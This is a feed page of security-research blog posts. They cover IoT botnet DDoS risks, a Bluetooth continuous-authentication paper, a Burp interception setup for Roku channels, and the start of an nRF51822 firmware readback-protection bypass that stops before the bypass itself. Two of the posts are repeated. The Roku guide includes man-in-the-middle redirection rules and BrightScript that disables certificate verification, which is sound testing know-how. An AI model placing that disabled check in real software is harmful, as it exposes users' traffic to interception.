Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Top 5 Things to Know About Recent IoT Attacks

2 November 2020 at 10:10

Recent Internet attacks have caused several popular sites to become unreachable. These include Twitter, Etsy, Spotify, Airbnb, Github, and The New York Times. These incidents have highlighted a new threat to online services: botnets powered by the Internet of Things (IoT). Distributed denial of service (DDoS) attacks have been around for over a decade and, for the most part, have been handled by network providers’ security services. However, the landscape is changing.

The primary strategy in these attacks is to control a number of devices which then simultaneously flood a destination with network requests. The target becomes overloaded and legitimate requests cannot be processed. Traditional network filters typically handle this by recognizing and blocking systems exhibiting this malicious behavior. However, when thousands of systems mount an attack, these traditional filters fail to differentiate between legitimate and malicious traffic, causing system availability to crumble.

Cybercriminals, Hacktivists, and IoT

Cybercriminals and hacktivists have found a new weapon in this war: the IoT. Billions of IoT devices exist, ranging in size from a piece of jewelry to a tractor. These devices all have one thing in common: they connect to the internet. While this connection offers tremendous benefits, such as allowing users to monitor their homes or check the contents of their refrigerators remotely, it also presents a significant risk. For hackers, each IoT device represents a potential recruit for their bot armies.

A recent attack against a major DNS provider shed light on this vulnerability. Botnets containing tens or hundreds of thousands of hijacked IoT devices have the potential to bring down significant sections of the internet. Over the coming months, we’ll likely discover just how formidable a threat these devices pose. For now, let’s dig into the key aspects of recent IoT DDoS attacks.

5 Key Points to Understand

The proliferation of Internet of Things (IoT) devices has ushered in a new era of digital convenience, but it has also opened the floodgates to a range of cybersecurity concerns. To navigate the complexities of this digital landscape, it’s essential to grasp five key points:

1. Insecure IoT devices pose new risks to everyone

Each device that can be hacked is a potential soldier for a botnet army, which could be used to disrupt essential parts of the internet. Such attacks can interfere with your favorite sites for streaming, socializing, shopping, healthcare, education, banking, and more. They have the potential to undermine the very foundations of our digital society. This underscores the need for proactive measures to protect our digital way of life and ensure the continued availability of essential services that have become integral to modern living. 

Dig Deeper: How Valuable Is Your Health Care Data?

2. IoT devices are coveted by hackers

Hackers will fight to retain control over them. Though the malware used in the Mirai botnets is simple, it will evolve as quickly as necessary to allow attackers to maintain control. IoT devices are significantly valuable to hackers as they can enact devastating DDoS attacks with minimal effort. As we embrace the convenience of IoT, we must also grapple with the responsibility of securing these devices to maintain the integrity and resilience of our increasingly digitized way of life.

3. DDoS Attacks from IoT Devices Are Intense and Difficult to Defend Against

Identifying and mitigating attacks from a handful of systems is manageable. However, when tens or hundreds of thousands of devices are involved, it becomes nearly impossible. The resources required to defend against such an attack are immense and expensive. For instance, a recent attack that aimed to incapacitate Brian Krebs’ security-reporting site led to Akamai’s Vice President of Web Security stating that if such attacks were sustained, they could easily cost millions in cybersecurity services to keep the site available. Attackers are unlikely to give up these always-connected devices that are ideal for forming powerful DDoS botnets.

There’s been speculation that nation-states are behind some of these attacks, but this is highly unlikely. The authors of Mirai, a prominent botnet, willingly released their code to the public, something a governmental organization would almost certainly not do. However, it’s plausible that after observing the power of IoT botnets, nation-states are developing similar strategies—ones with even more advanced capabilities. In the short term, however, cybercriminals and hacktivists will continue to be the primary drivers of these attacks.

Dig Deeper: Mirai Botnet Creates Army of IoT Orcs

4. Cybercriminals and Hacktivists Are the Main Perpetrators

In the coming months, it’s expected that criminals will discover ways to profit from these attacks, such as through extortion. The authors of Mirai voluntarily released their code to the public—an action unlikely from a government-backed team. However, the effectiveness of IoT botnets hasn’t gone unnoticed, and it’s a good bet that nation-states are already working on similar strategies but with significantly more advanced capabilities.

Over time, expect cybercriminals and hacktivists to remain the main culprits behind these attacks. In the immediate future, these groups will continue to exploit insecure IoT devices to enact devastating DDoS attacks, constantly evolving their methods to stay ahead of defenses.

Dig Deeper: Hacktivists Turn to Phishing to Fund Their Causes

5. It Will Likely Get Worse Before It Gets Better

Unfortunately, the majority of IoT devices lack robust security defenses. The devices currently being targeted are the most vulnerable, many of which have default passwords easily accessible online. Unless the owner changes the default password, hackers can quickly and easily gain control of these devices. With each device they compromise, they gain another soldier for their botnet.

To improve this situation, several factors must be addressed. Devices must be designed with security at the forefront; they must be configured correctly and continuously managed to keep their security up-to-date. This will require both technical advancements and behavioral changes to stay in line with the evolving tactics of hackers.

McAfee Pro Tip: Software updates not only enhance security but also bring new features, better compatibility, stability improvements, and feature removal. While frequent update reminders can be bothersome, they ultimately enhance the user experience, ensuring you make the most of your technology. Know more about the importance of software updates.

Final Thoughts

Securing IoT devices is now a critical issue for everyone. The sheer number of IoT devices, combined with their vulnerability, provides cybercriminals and hacktivists with a vast pool of resources to fuel potent DDoS campaigns. We are just beginning to observe the attacks and issues surrounding IoT security. Until the implementation of comprehensive controls and responsible behaviors becomes commonplace, we will continue to face these challenges. By understanding these issues, we take the first steps toward a more secure future.

Take more steps with McAfee to secure your digital future. Explore our security solutions or read our cybersecurity blogs and reports.

The post Top 5 Things to Know About Recent IoT Attacks appeared first on McAfee Blog.

Issues with Indefinite Trust in Bluetooth

25 August 2021 at 14:37

At IncludeSec we of course love to hack things, but we also love to use our skills and insights into security issues to explore innovative solutions, develop tools, and share resources. In this post we share a summary of a recent paper that I published with fellow researchers in the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec’21). WiSec is a conference well attended by people across industry, government, and academia; it is dedicated to all aspects of security and privacy in wireless and mobile networks and their applications, mobile software platforms, Internet of Things, cyber-physical systems, usable security and privacy, biometrics, and cryptography. 

Overview

Recurring Verification of Interaction Authenticity Within Bluetooth Networks
Travis Peters (Include Security), Timothy Pierson (Dartmouth College), Sougata Sen (BITS GPilani, KK Birla Goa Campus, India), José Camacho (University of Granada, Spain), and David Kotz (Dartmouth College)

The most common forms of authentication are passwords, potentially used in combination with a second factor such as a hardware token or mobile app (i.e., two-factor authentication). These approaches emphasize a one-time, initial authentication. After initial authentication, authenticated entities typically remain authenticated until an explicit deauthentication action is taken, or the authenticated session expires. Unfortunately, explicit deauthentication happens rarely, if ever. To address this issue, recent work has explored how to provide passive, continuous authentication and/or automatic de-authentication by correlating user movements and inputs with actions observed in an application (e.g., a web browser). 

The issue with indefinite trust, however, goes beyond user authentication. Consider devices that pair via Bluetooth, which commonly follow the pattern of pair once, trust indefinitely. After two devices connect, those devices are bonded until a user explicitly removes the bond. This bond is likely to remain intact as long as the devices exist, or until they transfer ownership (e.g., sold or lost).

The increased adoption of (Bluetooth-enabled) IoT devices and reports of the inadequacy of their security makes indefinite trust of devices problematic. The reality of ubiquitous connectivity and frequent mobility gives rise to a myriad of opportunities for devices to be compromised. Thus, I put forth the argument with my academic research colleagues that one-time, single-factor, device-to-device authentication (i.e., an initial pairing) is not enough, and that there must exist some mechanism to frequently (re-)verify the authenticity of devices and their connections.

In our paper we propose a device-to-device recurring authentication scheme – Verification of Interaction Authenticity (VIA) – that is based on evaluating characteristics of the communications (interactions) between devices. We adapt techniques from wireless traffic analysis and intrusion detection systems to develop behavioral models that capture typical, authentic device interactions (behavior); these models enable recurring verification of device behavior.

Technical Highlights

  • Our recurring authentication scheme is based on off-the-shelf machine learning classifiers (e.g., Random Forest, k-NN) trained on characteristics extracted from Bluetooth/BLE network interactions. 
  • We extract model features from packet headers and payloads. Most of our analysis targets lower-level Bluetooth protocol layers, such as the HCI and L2CAP layers; higher-level BLE protocols, such as ATT, are also information-rich protocol layers. Hybrid models – combining information extracted from various protocol layers – are more complex, but may yield better results.
  • We construct verification models from a combination of fine-grained and coarse-grained features, including n-grams built from deep packet inspection, protocol identifiers and packet types, packet lengths, and packet directionality (ingress vs. egress). 
Our verification scheme can be deployed anywhere that interposes on Bluetooth communications between two devices. One example we consider is a deployment within a kernel module running on a mobile platform.

Other Highlights from the Paper 

  • We collected and presented a new, first-of-its-kind Bluetooth dataset. This dataset captures Bluetooth network traces corresponding to app-device interactions between more than 20 smart-health and smart-home devices. The dataset is open-source and available within the VM linked below.
  • We enhanced open-source Bluetooth analysis software – bluepy and btsnoop – in an effort to improve the available tools for practical exploration of the Bluetooth protocol and Bluetooth-based apps.
  • We presented a novel modeling technique, combined with off-the-shelf machine learning classifiers, for characterizing and verifying authentic Bluetooth/BLE app-device interactions.
  • We implemented our verification scheme and evaluated our approach against a test corpus of 20 smart-home and smart-health devices. Our results show that VIA can be used for verification with an F1-score of 0.86 or better in most test cases.

To learn more, check out our paper as well as a VM pre-loaded with our code and dataset

Final Notes

Reproducible Research

We are advocates for research that is impactful and reproducible. At WiSec’21 our published work was featured as one of four papers this year that obtained the official replicability badges. These badges signify that our artifacts are available, have been evaluated for accuracy, and that our results were independently reproducible. We thank the ACM the WiSec organizers for working to make sharing and reproducibility common practice in the publication process. 

Next Steps

In future work we are interested in exploring a few directions:

  • Continue to enhance tooling that supports Bluetooth protocol analysis for research and security assessments
  • Expand our dataset to include more devices, adversarial examples, etc. 
  • Evaluate a real-world deployment (e.g., a smartphone-based multifactor authentication system for Bluetooth); such a deployment would enable us to evaluate practical issues such as verification latency, power consumption, and usability. 

Give us a shout if you are interested in our team doing bluetooth hacks for your products!

The post Issues with Indefinite Trust in Bluetooth appeared first on Include Security Research Blog.

New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript

30 March 2021 at 18:00

We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.

The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.

Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.

The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.

You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.

Getting Burp to Work With Brightscript

As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.

Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.SetUrl("https://example.com/")<br>s = urlTransfer.GetToString()

To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.


Here’s starting the WIFI AP:

# cat /tmp/test-hosts<br>192.168.12.1 example.com
# create_ap -e /tmp/test-hosts $AP_NETWORK_INTERFACE $INTERNET_NETWORK_INTERFACE $SSID $PASSWORD

And here’s the iptables rule:

# iptables -t nat -A PREROUTING -p tcp --src 192.168.12.0/24 --dst 192.168.12.1 --dport 443 -j REDIRECT --to-port 8085

In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:

https://i0.wp.com/1.bp.blogspot.com/-k6-BJdBuClo/YCGaPd4k0uI/AAAAAAAAARs/TNGXncPqBLoIjt7dqlqLQqvnUwzDO5zogCLcBGAsYHQ/s2884/burp1.png?w=1200&ssl=1

Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.

This converts the cert from DER to PEM format:

$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem

The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:

https://i0.wp.com/1.bp.blogspot.com/-KQUykpVEqIo/YCGajAySThI/AAAAAAAAAR0/9TmpYDKEH7U-X00uyl23AB8pMgxYzwUawCLcBGAsYHQ/s1877/export1.png?w=1200&ssl=1

Now the request can be proxied and shows up in Burp’s history:

https://i0.wp.com/1.bp.blogspot.com/-4nxRsQ9d_eI/YCGannkRoNI/AAAAAAAAAR4/KPQGUnI6hv8ZpFUBiJ9HvrdW0XPwVG_kwCLcBGAsYHQ/s2048/burp-history1.png?w=1200&ssl=1

With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.

For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:

  1. Only deploy what you need in a channel, don’t deploy debug/test code.
  2. Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
  3. Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
  4. Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
  5. Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.

Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.

Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post? 🙂

The post New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript appeared first on Include Security Research Blog.

Issues with Indefinite Trust in Bluetooth

25 August 2021 at 14:37

At IncludeSec we of course love to hack things, but we also love to use our skills and insights into security issues to explore innovative solutions, develop tools, and share resources. In this post we share a summary of a recent paper that I published with fellow researchers in the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec’21). WiSec is a conference well attended by people across industry, government, and academia; it is dedicated to all aspects of security and privacy in wireless and mobile networks and their applications, mobile software platforms, Internet of Things, cyber-physical systems, usable security and privacy, biometrics, and cryptography. 

Overview

Recurring Verification of Interaction Authenticity Within Bluetooth Networks
Travis Peters (Include Security), Timothy Pierson (Dartmouth College), Sougata Sen (BITS GPilani, KK Birla Goa Campus, India), José Camacho (University of Granada, Spain), and David Kotz (Dartmouth College)

The most common forms of authentication are passwords, potentially used in combination with a second factor such as a hardware token or mobile app (i.e., two-factor authentication). These approaches emphasize a one-time, initial authentication. After initial authentication, authenticated entities typically remain authenticated until an explicit deauthentication action is taken, or the authenticated session expires. Unfortunately, explicit deauthentication happens rarely, if ever. To address this issue, recent work has explored how to provide passive, continuous authentication and/or automatic de-authentication by correlating user movements and inputs with actions observed in an application (e.g., a web browser). 

The issue with indefinite trust, however, goes beyond user authentication. Consider devices that pair via Bluetooth, which commonly follow the pattern of pair once, trust indefinitely. After two devices connect, those devices are bonded until a user explicitly removes the bond. This bond is likely to remain intact as long as the devices exist, or until they transfer ownership (e.g., sold or lost).

The increased adoption of (Bluetooth-enabled) IoT devices and reports of the inadequacy of their security makes indefinite trust of devices problematic. The reality of ubiquitous connectivity and frequent mobility gives rise to a myriad of opportunities for devices to be compromised. Thus, I put forth the argument with my academic research colleagues that one-time, single-factor, device-to-device authentication (i.e., an initial pairing) is not enough, and that there must exist some mechanism to frequently (re-)verify the authenticity of devices and their connections.

In our paper we propose a device-to-device recurring authentication scheme – Verification of Interaction Authenticity (VIA) – that is based on evaluating characteristics of the communications (interactions) between devices. We adapt techniques from wireless traffic analysis and intrusion detection systems to develop behavioral models that capture typical, authentic device interactions (behavior); these models enable recurring verification of device behavior.

Technical Highlights

  • Our recurring authentication scheme is based on off-the-shelf machine learning classifiers (e.g., Random Forest, k-NN) trained on characteristics extracted from Bluetooth/BLE network interactions. 
  • We extract model features from packet headers and payloads. Most of our analysis targets lower-level Bluetooth protocol layers, such as the HCI and L2CAP layers; higher-level BLE protocols, such as ATT, are also information-rich protocol layers. Hybrid models – combining information extracted from various protocol layers – are more complex, but may yield better results.
  • We construct verification models from a combination of fine-grained and coarse-grained features, including n-grams built from deep packet inspection, protocol identifiers and packet types, packet lengths, and packet directionality (ingress vs. egress). 
Our verification scheme can be deployed anywhere that interposes on Bluetooth communications between two devices. One example we consider is a deployment within a kernel module running on a mobile platform.

Other Highlights from the Paper 

  • We collected and presented a new, first-of-its-kind Bluetooth dataset. This dataset captures Bluetooth network traces corresponding to app-device interactions between more than 20 smart-health and smart-home devices. The dataset is open-source and available within the VM linked below.
  • We enhanced open-source Bluetooth analysis software – bluepy and btsnoop – in an effort to improve the available tools for practical exploration of the Bluetooth protocol and Bluetooth-based apps.
  • We presented a novel modeling technique, combined with off-the-shelf machine learning classifiers, for characterizing and verifying authentic Bluetooth/BLE app-device interactions.
  • We implemented our verification scheme and evaluated our approach against a test corpus of 20 smart-home and smart-health devices. Our results show that VIA can be used for verification with an F1-score of 0.86 or better in most test cases.

To learn more, check out our paper as well as a VM pre-loaded with our code and dataset

Final Notes

Reproducible Research

We are advocates for research that is impactful and reproducible. At WiSec’21 our published work was featured as one of four papers this year that obtained the official replicability badges. These badges signify that our artifacts are available, have been evaluated for accuracy, and that our results were independently reproducible. We thank the ACM the WiSec organizers for working to make sharing and reproducibility common practice in the publication process. 

Next Steps

In future work we are interested in exploring a few directions:

  • Continue to enhance tooling that supports Bluetooth protocol analysis for research and security assessments
  • Expand our dataset to include more devices, adversarial examples, etc. 
  • Evaluate a real-world deployment (e.g., a smartphone-based multifactor authentication system for Bluetooth); such a deployment would enable us to evaluate practical issues such as verification latency, power consumption, and usability. 

Give us a shout if you are interested in our team doing bluetooth hacks for your products!

The post Issues with Indefinite Trust in Bluetooth appeared first on Include Security Research Blog.

New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript

30 March 2021 at 18:00

We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.

The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.

Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.

The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.

You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.

Getting Burp to Work With Brightscript

As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.

Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.SetUrl("https://example.com/")<br>s = urlTransfer.GetToString()

To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.


Here’s starting the WIFI AP:

# cat /tmp/test-hosts<br>192.168.12.1 example.com
# create_ap -e /tmp/test-hosts $AP_NETWORK_INTERFACE $INTERNET_NETWORK_INTERFACE $SSID $PASSWORD

And here’s the iptables rule:

# iptables -t nat -A PREROUTING -p tcp --src 192.168.12.0/24 --dst 192.168.12.1 --dport 443 -j REDIRECT --to-port 8085

In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:

https://i1.wp.com/1.bp.blogspot.com/-k6-BJdBuClo/YCGaPd4k0uI/AAAAAAAAARs/TNGXncPqBLoIjt7dqlqLQqvnUwzDO5zogCLcBGAsYHQ/s2884/burp1.png?w=1200&ssl=1

Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.

This converts the cert from DER to PEM format:

$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem

The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:

urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()

It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:

https://i2.wp.com/1.bp.blogspot.com/-KQUykpVEqIo/YCGajAySThI/AAAAAAAAAR0/9TmpYDKEH7U-X00uyl23AB8pMgxYzwUawCLcBGAsYHQ/s1877/export1.png?w=1200&ssl=1

Now the request can be proxied and shows up in Burp’s history:

https://i2.wp.com/1.bp.blogspot.com/-4nxRsQ9d_eI/YCGannkRoNI/AAAAAAAAAR4/KPQGUnI6hv8ZpFUBiJ9HvrdW0XPwVG_kwCLcBGAsYHQ/s2048/burp-history1.png?w=1200&ssl=1

With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.

For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:

  1. Only deploy what you need in a channel, don’t deploy debug/test code.
  2. Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
  3. Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
  4. Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
  5. Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.

Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.

Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post? 🙂

The post New School Hacks: Test Setup for Hacking Roku Channels Written in Brightscript appeared first on Include Security Research Blog.

Firmware dumping technique for an ARM Cortex-M0 SoC

5 November 2015 at 20:00

One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.

Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.

This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.

The SoC

The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.

Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.

The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.

This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.

Exploring the Debugger Access

Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> mdw 0x00000000
0x00000000: 00000000
> mdw 0x000114cc 10
0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x000114ec: 00000000 00000000

We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):

> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0

We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:

> mdw 0x10001004
0x10001004: ffff00ff

According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):

The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.

The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.

Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.

Devising a Protection Bypass

